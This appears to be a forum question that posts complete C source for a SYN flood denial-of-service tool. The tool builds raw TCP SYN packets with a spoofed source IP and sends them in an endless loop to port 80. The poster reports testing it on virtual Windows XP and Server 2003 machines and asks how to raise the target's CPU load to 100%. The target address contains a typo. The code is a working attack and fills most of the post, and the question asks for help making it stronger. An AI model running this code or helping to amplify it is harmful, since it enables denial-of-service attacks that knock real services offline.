Dos attack Syn flood

I have a C source to test DOS attack Syn flood on Kali linux.

struct pseudo_header    //needed for checksum calculation
{
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
    struct tcphdr tcp;
};

unsigned short csum(unsigned short *ptr,int nbytes) {
    register long sum;
    unsigned short oddbyte;
    register short answer;

    sum=0;
    while(nbytes>1) {
        sum+=*ptr++;
        nbytes-=2;
    }

    if(nbytes==1) {
        oddbyte=0;
        *((u_char*)&oddbyte)=*(u_char*)ptr;
        sum+=oddbyte;
    }

    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);
    answer=(short)~sum;
    return(answer);
}

int main (void)
{
    //Create a raw socket
    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);

    //Datagram to represent the packet
    char datagram[128] , source_ip[32];

    //IP header
    struct iphdr *iph = (struct iphdr *) datagram;

    //TCP header
    struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
    struct sockaddr_in sin;
    struct pseudo_header psh;

    strcpy(source_ip , "192.168.40.128");
    sin.sin_family = AF_INET;
    sin.sin_port = htons(80);
    sin.sin_addr.s_addr = inet_addr ("192.168.40.`0");
    memset (datagram, 0, 128);  /* zero out the buffer */

    //Fill in the IP Header
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
    iph->id = htons(54321); //Id of this packet
    iph->frag_off = 0;
    iph->ttl = 255;
    iph->protocol = IPPROTO_TCP;
    iph->check = 0;     //Set to 0 before calculating checksum
    iph->saddr = inet_addr ( source_ip );   //Spoof the source ip address
    iph->daddr = sin.sin_addr.s_addr;
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

    //TCP Header
    tcph->source = htons (1234);
    tcph->dest = htons (80);
    tcph->seq = 0;
    tcph->ack_seq = 0;
    tcph->doff = 5;     /* first and only tcp segment */
    tcph->fin=0;
    tcph->syn=1;
    tcph->rst=0;
    tcph->psh=0;
    tcph->ack=0;
    tcph->urg=0;
    tcph->window = htons (5840);    /* maximum allowed window size */

    tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
                should fill in the correct checksum during transmission */

    tcph->urg_ptr = 0;
    //Now the IP checksum

    psh.source_address = inet_addr( source_ip );
    psh.dest_address = sin.sin_addr.s_addr;
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_length = htons(20);

    memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));

    tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));

    //IP_HDRINCL to tell the kernel that headers are included in the packet
    int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
    {
        printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
        exit(0);
    }

    while (1)
    {
            sendto (s,datagram,iph->tot_len,0,(struct sockaddr *) &sin,sizeof (sin));
            sendto (s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof (sin));
    }
    return 0;
}

I hava a soucre C to Dos attack. I tested it on VMware with a winXP and winServer2003. but the CPU 40%.I sent 160.000.000 packets . I tried running 2 programs at the same time but it not work.Sometime it worked but almost not work How can i do to the CPU 100%?